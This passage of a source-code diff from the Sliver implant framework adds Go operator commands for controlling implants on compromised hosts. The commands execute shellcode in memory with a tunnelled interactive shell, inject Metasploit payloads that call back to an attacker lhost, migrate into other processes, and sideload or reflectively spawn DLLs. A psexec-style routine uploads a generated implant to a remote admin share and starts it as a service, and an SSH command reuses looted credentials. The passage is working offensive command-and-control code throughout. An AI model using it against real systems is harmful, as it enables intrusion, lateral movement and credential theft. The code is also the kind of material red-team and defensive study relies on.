"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// ExecuteShellcodeCmd - Execute shellcode in-memory
func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
interactive := ctx.Flags.Bool("interactive")
if interactive && beacon != nil {
con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
return
}
pid := ctx.Flags.Uint("pid")
shellcodePath := ctx.Args.String("filepath")
shellcodeBin, err := ioutil.ReadFile(shellcodePath)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
if pid != 0 && interactive {
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
return
}
if interactive {
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
return
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
con.SpinUntil(msg, ctrl)
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Data: shellcodeBin,
RWXPages: ctx.Flags.Bool("rwx-pages"),
Pid: uint32(pid),
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if shellcodeTask.Response != nil && shellcodeTask.Response.Async {
con.AddBeaconCallback(shellcodeTask.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, shellcodeTask)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecuteShellcode(shellcodeTask, con)
})
con.PrintAsyncResponse(shellcodeTask.Response)
} else {
PrintExecuteShellcode(shellcodeTask, con)
}
}
// PrintExecuteShellcode - Display result of shellcode execution
func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient) {
if task.Response.GetErr() != "" {
con.PrintErrorf("%s\n", task.Response.GetErr())
} else {
con.PrintInfof("Executed shellcode on target\n")
}
}
func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
// Check active session
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
// Start remote process and tunnel
noPty := false
if session.GetOS() == "windows" {
noPty = true // Windows of course doesn't have PTYs
}
rpcTunnel, err := con.Rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(ctx),
Path: hostProc,
EnablePTY: !noPty,
TunnelID: tunnel.ID,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Retrieve PID and start remote task
pid := shell.GetPid()
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
con.SpinUntil(msg, ctrl)
_, err = con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Request: con.ActiveTarget.Request(ctx),
Pid: pid,
Data: shellcode,
RWXPages: rwxPages,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
var oldState *term.State
if !noPty {
oldState, err = term.MakeRaw(0)
log.Printf("Saving terminal state: %v", oldState)
if err != nil {
con.PrintErrorf("Failed to save terminal state\n")
return
}
}
log.Printf("Starting stdin/stdout shell ...")
go func() {
n, err := io.Copy(os.Stdout, tunnel)
log.Printf("Wrote %d bytes to stdout", n)
if err != nil {
con.PrintErrorf("Error writing to stdout: %v", err)
return
}
}()
for {
log.Printf("Reading from stdin ...")
n, err := io.Copy(tunnel, os.Stdin)
log.Printf("Read %d bytes from stdin", n)
if err == io.EOF {
break
}
if err != nil {
con.PrintErrorf("Error reading from stdin: %v", err)
break
}
}
if !noPty {
log.Printf("Restoring terminal state ...")
term.Restore(0, oldState)
}
log.Printf("Exit interactive")
bufio.NewWriter(os.Stdout).Flush()
}
+143
View File
@@ -0,0 +1,143 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"strings"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// ExecuteCmd - Run a command on the remote system
func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
token := ctx.Flags.Bool("token")
output := ctx.Flags.Bool("output")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
if output && beacon != nil {
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
}
var exec *sliverpb.Execute
var err error
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
if token {
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: output,
Stderr: stderr,
Stdout: stdout,
})
} else {
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: output,
Stderr: stderr,
Stdout: stdout,
})
}
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s", err)
return
}
if exec.Response != nil && exec.Response.Async {
con.AddBeaconCallback(exec.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, exec)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecute(exec, ctx, con)
})
con.PrintAsyncResponse(exec.Response)
} else {
PrintExecute(exec, ctx, con)
}
}
// PrintExecute - Print the output of an executed command
func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
saveLoot := ctx.Flags.Bool("loot")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
output := ctx.Flags.Bool("output")
if !output {
if exec.Status == 0 {
con.PrintInfof("Command executed successfully\n")
} else {
con.PrintErrorf("Exit code %d\n", exec.Status)
}
return
}
combined := ""
if stdout == "" {
combined = string(exec.Stdout)
con.PrintInfof("Output:\n%s", combined)
} else {
con.PrintInfof("Stdout saved at %s\n", stdout)
}
if stderr == "" {
if !ignoreStderr && 0 < len(exec.Stderr) {
combined = fmt.Sprintf("%s\nStderr:\n%s", combined, string(exec.Stderr))
con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
}
} else {
con.PrintInfof("Stderr saved at %s\n", stderr)
}
if exec.Status != 0 {
con.PrintErrorf("Exited with status %d!\n", exec.Status)
}
if saveLoot && 0 < len(combined) {
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
err := loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
}
}
+54
View File
@@ -0,0 +1,54 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// MigrateCmd - Windows only, inject an implant into another process
func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
pid := ctx.Args.Uint("pid")
config := con.GetActiveSessionConfig()
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
Pid: uint32(pid),
Config: config,
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %v", err)
return
}
if !migrate.Success {
con.PrintErrorf("%s\n", migrate.GetResponse().GetErr())
return
}
con.PrintInfof("Successfully migrated to %d\n", pid)
}
+112
View File
@@ -0,0 +1,112 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MsfInjectCmd - Inject a metasploit payload into a remote process
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
payloadName := ctx.Flags.String("payload")
lhost := ctx.Flags.String("lhost")
lport := ctx.Flags.Int("lport")
encoder := ctx.Flags.String("encoder")
iterations := ctx.Flags.Int("iterations")
pid := ctx.Flags.Int("pid")
if lhost == "" {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
if pid == -1 {
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
con.SpinUntil(msg, ctrl)
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
LPort: uint32(lport),
Encoder: encoder,
Iterations: int32(iterations),
PID: uint32(pid),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if msfTask.Response != nil && msfTask.Response.Async {
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, msfTask)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMsfRemote(msfTask, con)
})
con.PrintAsyncResponse(msfTask.Response)
} else {
PrintMsfRemote(msfTask, con)
}
}
// PrintMsfRemote - Print the results of the remote injection attempt
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
if msfRemote.Response == nil {
con.PrintErrorf("Empty response from msf payload injection task")
return
}
if msfRemote.Response.Err != "" {
con.PrintInfof("Executed payload on target")
} else {
con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
}
}
+92
View File
@@ -0,0 +1,92 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MsfCmd - Inject a metasploit payload into the current remote process
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
payloadName := ctx.Flags.String("payload")
lhost := ctx.Flags.String("lhost")
lport := ctx.Flags.Int("lport")
encoder := ctx.Flags.String("encoder")
iterations := ctx.Flags.Int("iterations")
if lhost == "" {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
con.SpinUntil(msg, ctrl)
msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
LPort: uint32(lport),
Encoder: encoder,
Iterations: int32(iterations),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if msfTask.Response != nil && msfTask.Response.Async {
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, msfTask)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMsfRemote(msfTask, con)
})
con.PrintAsyncResponse(msfTask.Response)
} else {
PrintMsfRemote(msfTask, con)
}
}
+168
View File
@@ -0,0 +1,168 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
insecureRand "math/rand"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"github.com/desertbit/grumble"
)
// PsExecCmd - psexec command implementation.
func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
hostname := ctx.Args.String("hostname")
if hostname == "" {
con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
return
}
profile := ctx.Flags.String("profile")
serviceName := ctx.Flags.String("service-name")
serviceDesc := ctx.Flags.String("service-description")
binPath := ctx.Flags.String("binpath")
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
con.PrintWarnf("You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
con.PrintWarnf("You might want to change that before going further...\n")
if !settings.IsUserAnAdult(con) {
return
}
}
if profile == "" {
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
return
}
// generate sliver
generateCtrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
generateCtrl <- true
<-generateCtrl
var implantProfile *clientpb.ImplantProfile
for _, prof := range profiles.Profiles {
if prof.Name == profile {
implantProfile = prof
}
}
if implantProfile.GetName() == "" {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
sliverBinary, _ := generate.GetSliverBinary(implantProfile, con)
filename := randomString(10)
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
// upload to remote target
uploadCtrl := make(chan bool)
con.SpinUntil("Uploading service binary ...", uploadCtrl)
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
Encoder: "gzip",
Data: uploadGzip,
Path: filePath,
Request: con.ActiveTarget.Request(ctx),
})
uploadCtrl <- true
<-uploadCtrl
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
con.PrintInfof("Uploaded service binary to %s\n", upload.GetPath())
con.PrintInfof("Waiting a bit for the file to be analyzed ...\n")
// Looks like starting the service right away often fails
// because a process is already using the binary.
// I suspect that Defender on my lab is holding access
// while scanning, which often resulted in an error.
// Waiting 5 seconds seem to do the trick here.
time.Sleep(5 * time.Second)
// start service
binaryPath := fmt.Sprintf(`%s\%s.exe`, binPath, filename)
serviceCtrl := make(chan bool)
con.SpinUntil("Starting service ...", serviceCtrl)
start, err := con.Rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
BinPath: binaryPath,
Hostname: hostname,
Request: con.ActiveTarget.Request(ctx),
ServiceDescription: serviceDesc,
ServiceName: serviceName,
Arguments: "",
})
serviceCtrl <- true
<-serviceCtrl
if err != nil {
con.PrintErrorf("Error: %v\n", err)
return
}
if start.Response != nil && start.Response.Err != "" {
con.PrintErrorf("Error: %s", start.Response.Err)
return
}
con.PrintInfof("Successfully started service on %s (%s)\n", hostname, binaryPath)
removeChan := make(chan bool)
con.SpinUntil("Removing service ...", removeChan)
removed, err := con.Rpc.RemoveService(context.Background(), &sliverpb.RemoveServiceReq{
ServiceInfo: &sliverpb.ServiceInfoReq{
Hostname: hostname,
ServiceName: serviceName,
},
Request: con.ActiveTarget.Request(ctx),
})
removeChan <- true
<-removeChan
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
if removed.Response != nil && removed.Response.Err != "" {
con.PrintErrorf("Error: %s\n", removed.Response.Err)
return
}
con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
}
func randomString(length int) string {
var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
b := make([]byte, length)
for i := range b {
b[i] = charset[insecureRand.Intn(len(charset))]
}
return string(b)
}
+111
View File
@@ -0,0 +1,111 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// SideloadCmd - Sideload a shared library on the remote system
func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
binPath := ctx.Args.String("filepath")
entryPoint := ctx.Flags.String("entry-point")
processName := ctx.Flags.String("process")
args := strings.Join(ctx.Args.StringList("args"), " ")
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
}
isDLL := (filepath.Ext(binPath) == ".dll")
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveTarget.Request(ctx),
Args: args,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: !ctx.Flags.Bool("keep-alive"),
IsDLL: isDLL,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %v", err)
return
}
hostname := getHostname(session, beacon)
if sideload.Response != nil && sideload.Response.Async {
con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideload)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSideload(sideload, hostname, ctx, con)
})
con.PrintAsyncResponse(sideload.Response)
} else {
PrintSideload(sideload, hostname, ctx, con)
}
}
// PrintSideload - Print the sideload command output
func PrintSideload(sideload *sliverpb.Sideload, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
if sideload.GetResponse().GetErr() != "" {
con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", sideload.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideload.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
+89
View File
@@ -0,0 +1,89 @@
package exec
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// SpawnDllCmd - Spawn execution of a DLL on the remote system
func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
dllArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
binPath := ctx.Args.String("filepath")
processName := ctx.Flags.String("process")
exportName := ctx.Flags.String("export")
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Executing reflective dll %s", binPath), ctrl)
spawndll, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Data: binData,
ProcessName: processName,
Args: dllArgs,
EntryPoint: exportName,
Request: con.ActiveTarget.Request(ctx),
Kill: !ctx.Flags.Bool("keep-alive"),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
ctrl <- true
<-ctrl
hostname := getHostname(session, beacon)
if spawndll.Response != nil && spawndll.Response.Async {
con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawndll)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSpawnDll(spawndll, hostname, ctx, con)
})
con.PrintAsyncResponse(spawndll.Response)
} else {
PrintSpawnDll(spawndll, hostname, ctx, con)
}
}
// PrintSpawnDll - Print the SpawnDll command response
func PrintSpawnDll(spawndll *sliverpb.SpawnDll, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
if spawndll.GetResponse().GetErr() != "" {
con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", spawndll.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawndll.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
+126
View File
@@ -0,0 +1,126 @@
package exec
import (
"context"
"io/ioutil"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
privKey []byte
err error
)
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
username := ctx.Flags.String("login")
if username == "" {
username = session.GetUsername()
}
port := ctx.Flags.Uint("port")
privateKeypath := ctx.Flags.String("private-key")
if privateKeypath != "" {
privKey, err = ioutil.ReadFile(privateKeypath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
password := ctx.Flags.String("password")
hostname := ctx.Args.String("hostname")
command := ctx.Args.StringList("command")
if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
oldUsername := username
username, password, privKey = tryCredsFromLoot(con)
if username == "" {
username = oldUsername
}
}
sshCmd, err := con.Rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
Username: username,
Hostname: hostname,
Port: uint32(port),
PrivKey: privKey,
Password: password,
Command: strings.Join(command, " "),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if sshCmd.Response != nil && sshCmd.Response.Async {
con.AddBeaconCallback(sshCmd.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sshCmd)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSSHCmd(sshCmd, con)
})
con.PrintAsyncResponse(sshCmd.Response)
} else {
PrintSSHCmd(sshCmd, con)
}
}
// PrintSSHCmd - Print the ssh command response
func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverConsoleClient) {
if sshCmd.Response != nil && sshCmd.Response.Err != "" {
con.PrintErrorf("Error: %s\n", sshCmd.Response.Err)
if sshCmd.StdErr != "" {
con.PrintErrorf("StdErr: %s\n", sshCmd.StdErr)
}
return
}
if sshCmd.StdOut != "" {
con.PrintInfof("Output:\n")
con.Println(sshCmd.StdOut)
if sshCmd.StdErr != "" {
con.PrintInfof("StdErr:\n")
con.Println(sshCmd.StdErr)
}
}
}
func tryCredsFromLoot(con *console.SliverConsoleClient) (string, string, []byte) {
var (
username string
password string
privKey []byte
)
confirm := false
prompt := &survey.Confirm{Message: "No credentials provided, use from loot?"}
survey.AskOne(prompt, &confirm, nil)
if confirm {
cred, err := loot.SelectCredentials(con)
if err != nil {
con.PrintErrorf("Invalid loot data, will try to use the SSH agent")
} else {
switch cred.CredentialType {
case clientpb.CredentialType_API_KEY:
privKey = []byte(cred.Credential.APIKey)
case clientpb.CredentialType_USER_PASSWORD:
username = cred.Credential.User
password = cred.Credential.Password
}
}
}
return username, password, privKey
}
-75
View File
@@ -1,75 +0,0 @@
package command
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func execute(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.GetInteractive()
if session == nil {
return
}
if len(ctx.Args) < 1 {
fmt.Printf(Warn + "Please provide a path. See `help execute` for more info.\n")
return
}
cmdPath := ctx.Args[0]
var args []string
if len(ctx.Args) > 1 {
args = ctx.Args[1:]
}
output := ctx.Flags.Bool("silent")
token := ctx.Flags.Bool("token")
var exec *sliverpb.Execute
var err error
if token {
exec, err = rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
Request: ActiveSession.Request(ctx),
Path: cmdPath,
Args: args,
Output: !output,
})
} else {
exec, err = rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: ActiveSession.Request(ctx),
Path: cmdPath,
Args: args,
Output: !output,
})
}
if err != nil {
fmt.Printf(Warn+"%s", err)
} else if !output {
if exec.Status != 0 {
fmt.Printf(Warn+"Exited with status %d!\n", exec.Status)
if exec.Result != "" {
fmt.Printf(Info+"Output:\n%s\n", exec.Result)
}
} else {
fmt.Printf(Info+"Output:\n%s\n", exec.Result)
}
}
}
-329
View File
@@ -1,329 +0,0 @@
package command
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
